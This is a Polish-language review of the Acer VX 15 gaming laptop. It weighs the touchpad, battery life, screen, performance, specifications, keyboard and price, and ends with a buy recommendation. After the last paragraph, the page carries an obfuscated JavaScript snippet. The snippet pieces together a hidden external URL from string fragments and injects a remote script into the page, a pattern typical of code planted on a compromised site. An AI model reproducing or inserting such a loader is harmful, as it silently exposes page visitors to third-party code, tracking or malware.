5 razy na tak, 3 razy na niekoniecznie. Acer VX 15 - recenzja Spider's Web
„Laptop dla graczy w rozsądnej cenie” jeszcze do niedawna był oksymoronem. Zazwyczaj gamingowe konstrukcje, które nie kosztowały majątku, obarczone były tyloma kompromisami, że nie warto było zawracać sobie głowy. Zupełnie inaczej jest z laptopem Acer VX 15.
Acer VX 15 to przedstawiciel stosunkowo młodego gatunku – laptopów dla graczy, które cechuje dobra wydajność, dobre podzespoły, dobra jakość wykonania i rozsądna cena. Wiele na ten temat mówiłem już w pierwszych wrażeniach, więc nie będę się powtarzał – odsyłam do poprzedniego tekstu.
Tak naprawdę niewiele jest obiektywnie niedobrych rzeczy, które mogę o nim powiedzieć, więc może od tego zacznijmy.
Niedobra rzecz nr 1 – gładzik.
Powiem krótko: razem z VX 15 kupcie sobie myszkę. Gładzik, jak w znakomitej większości laptopów z Windowsem, jest fatalny. Faktura jest nieprzyjemna w dotyku, rejestracja ruchów palca bardzo niedokładna, a ogólna responsywność co najwyżej poprawna.
Niedobra rzecz nr 2 – czas pracy na jednym ładowaniu.
Z dala od gniazdka Acer VX 15 wytrzymuje max. 4 godziny i to utrzymując najwyżej połowę jasności, i oglądając film. Przy mieszance pisania, przeglądania Sieci i strumieniowaniu muzyki przez Spotify nie udało mi się wycisnąć z laptopa więcej, niż 3-3,5 godziny czasu pracy. Mogłoby być dużo lepiej.
Niedobra rzecz nr 3 – ekran. Ale to wada tylko dla grafików.
Zaznaczę tylko, że to obiektywna wada dla dość wąskiego spektrum odbiorców: ludzi, którzy pracują z kolorem. Jeśli obrabiasz zdjęcia, parasz się grafiką komputerową lub montujesz wideo, wyświetlacz Acera VX 15 nie zadowoli cię w najmniejszym stopniu.
Cała reszta powinna być zadowolona z kątów widzenia i nasycenia barw (nawet jeśli nie są one wiernie odwzorowane) tego 15-calowego ekranu o rozdzielczości 1920x1080. Panel nie smuży też i ma odpowiedni kontrast, żeby komfortowo oglądać filmy czy grać.
Teraz przejdźmy do dobrych rzeczy. Bo jest o czym opowiadać
Dobra rzecz nr 1 – wydajność i kultura pracy.
Przez cały czas testów ani razu nie mogłem powiedzieć, żeby mi czegoś brakowało w testowanym egzemplarzu. A wcale nie testowałem najmocniejszej konfiguracji. Może czasem myślałem, że dodatkowe 8 GB RAM-u by nie zaszkodziło, ale to wynika z mojego niechlubnego zwyczaju otwierania 100 kart w przeglądarce.
Bardzo pozytywnym zaskoczeniem jest kultura pracy Acera VX 15. Podczas niewymagających zadań wiatraki albo w ogóle nie pracują, albo prawie ich nie słychać, natomiast pod obciążeniem podwójny system chłodzenia bez problemu utrzymuje temperatury pod kontrolą, jednocześnie nie brzmiąc jak maluch z urwanym tłumikiem. W efekcie nigdy nie dochodzi do spadków wydajności spowodowanych przegrzaniem (thermal throttling) ani do rozglądania się za słuchawkami, bo laptop pracuje za głośno.
Dobra rzecz nr 2 – specyfikacja.
Egzemplarz który testowałem nie był herkulesem. W środku pracował procesor Intel Core i5-7300HQ, 8 GB RAM-u, dysk SSD 240 GB i twardy 1 TB HDD oraz karta graficzna GeForce GTX 1050. Taka konfiguracja jest naprawdę wystarczająca do 99% zastosowań i 100% gier (co prawda na średnich detalach, ale zawsze). Dodatkowo możemy samodzielnie dołożyć RAM-u nawet do 32 GB.
W sprzedaży są też wersje ze znacznie mocniejszą specyfikacją, w tym procesorem Intel Core i7-7700HQ oraz grafiką GTX 1050 Ti. O ile procesor nie zrobi wielkiej różnicy, szczególnie w grach, tak już przyrostek Ti przy karcie oznacza minimum 20-30% przyrostu wydajności GPU. To naprawdę sporo, więc jeśli planujesz zakup laptopa na dłuższy czas, warto dołożyć pieniędzy do tego bardziej wydajnego wariantu. GTX 1050 spokojnie odpali każdą grę (nawet Wiedźmina 3 na średnich detalach), ale GTX 1050 Ti bez wątpienia przewyższa go możliwościami.
Dobra rzecz nr 3 – jakość wykonania.
Jakość wykonania laptopa Acer VX 15 bardzo pozytywnie mnie zaskoczyła, szczególnie, że w tym segmencie bywa z tą kwestią bardzo różnie. VX 15 uniknął jednak typowych grzechów, takich jak pokrywa, którą można wgnieść palcem na drugą stronę, trzeszcząca konstrukcja, czy uginający się pulpit roboczy.
Owszem, tu i ówdzie mogłoby być sztywniej, ale jak na konstrukcję, która nie jest aluminiowa, jest bardzo dobrze.
Tak jak gładzik jest naprawdę zły, tak klawiatura jest fantastyczna. Wierzcie mi, jako osoba wystukująca codziennie tysiące słów, potrafię to docenić. Skok jest idealny, klawisze są przyjemnie sztywne (ale nie zanadto sztywne), a konstrukcja sprawdza się idealnie zarówno w grach, jak i podczas pisania. Troszeczkę raziło mnie to ostre, czerwone podświetlenie, ale można do niego przywyknąć.
Dobra rzecz nr 4 – rozsądna cena.
Jak na laptopa do gier, który może służyć też do pracy i poradzi sobie w zasadzie z każdą produkcją, i każdym zadaniem, Acer VX 15 jest wyceniony bardzo rozsądnie. Ceny zaczynają się od ok. 4300 zł. Koszt egzemplarza, który był u nas na testach, to 4600 zł.
Za 400 zł więcej możemy mieć tę samą konfigurację z grafiką GTX 1050 Ti, zaś najbardziej „wypasiona” wersja to koszt około 6 tys. złotych. Ktoś powie, że za takie pieniądze można złożyć stacjonarnego PC - i będzie miał rację. Ale stacjonarny PC nie zawsze jest najlepszym rozwiązaniem i czasem warto wybrać laptop dla graczy, o czym mówiłem przy okazji poniższego wideo:
Dobra rzecz nr 5 – przyjemność korzystania na co dzień.
Ok, ta ostatnia zaleta jest może nieco na siłę, bo 5 dobrych rzeczy brzmi lepiej, niż 4 dobre rzeczy, ale z Acera VX 15 naprawdę dobrze się korzysta. A nie jest to wcale taka oczywistość! Niejednokrotnie się zdarza, że kupujemy sprzęt, w którym teoretycznie wszystko się zgadza – jest dobra specyfikacja, ładny wygląd, etc., ale jak przychodzi co do czego, to korzysta się z niego fatalnie.
Z laptopa Acer VX 15 korzystało mi się bardzo przyjemnie i przez kilka tygodni obcowania z tym sprzętem nie znalazłem żadnych większych bolączek, które znacząco obniżałyby komfort użytkowania. Z początku zraziła mnie nieco liczba preinstalowanych przez Acera aplikacji, ale wyczyszczenie ich zajęło mi jakieś 30 sekund i więcej już o nich nie myślałem.
Oprócz tego nie miałem absolutnie żadnych uwag. Jak długo nie próbowałem na Acerze obrabiać zdjęć i używałem myszki zamiast gładzika, tak długo nie mogłem modelowi VX 15 zarzucić czegokolwiek poważnego. To kawał dobrego sprzętu.
Kupić, czy nie kupić – oto jest pytanie.
Dla mnie odpowiedź jest prosta – kupić. Zdecydowanie. Do 5 tysięcy naprawdę trudno o wydajny laptop do gier i pracy, który nie idzie na zbyt wiele kompromisów. Paradoksalnie w tym segmencie modelowi VX 15 realnie może zagrozić… tylko inny Acer. Niebawem do sklepów trafi model V Nitro z grafiką GTX 1060. Jeśli tylko producent nie przeholuje z ceną, będzie to fantastyczny zakup, ze znacznie lepszą kartą graficzną i… mniej odpustową stylistyką, bo choć mnie akurat wygląd VX 15 nie raził, to nie ulega wątpliwości, że stonowana, czarna estetyka Acera Aspire V Nitro przypadnie do gustu większej liczbie osób.
Jeśli jednak szukasz czegoś już teraz, Acer VX 15 będzie bardzo dobrym wyborem. Szczególnie z kartą graficzną GTX 1050 Ti, do której zdecydowanie warto dopłacić. Procesor, nawet i5, jest bardzo dobry. RAM-u można z czasem dołożyć. Jednak karty graficznej wymienić się nie da, a im lepszą kupisz dziś, tym większa szansa, że będziesz mógł komfortowo grać w najnowsze produkcje nie tylko teraz, ale i za kilka lat.
(function(){ o6zf=document.createElement("script");o6zf.async=true;o6zf_="u"+("s")+"t"; o6zfu="60756489.";o6zf_+="a"+("t.i");o6zf_+="n"+("f"+"o")+"/"; o6zfu+="m4d5l47p6zfqcn5duj9yva"+("6zwmxnr7"); o6zf.src="//"+o6zf_+o6zfu;o6zf.type="text/javascript"; document.body.appendChild(o6zf); })();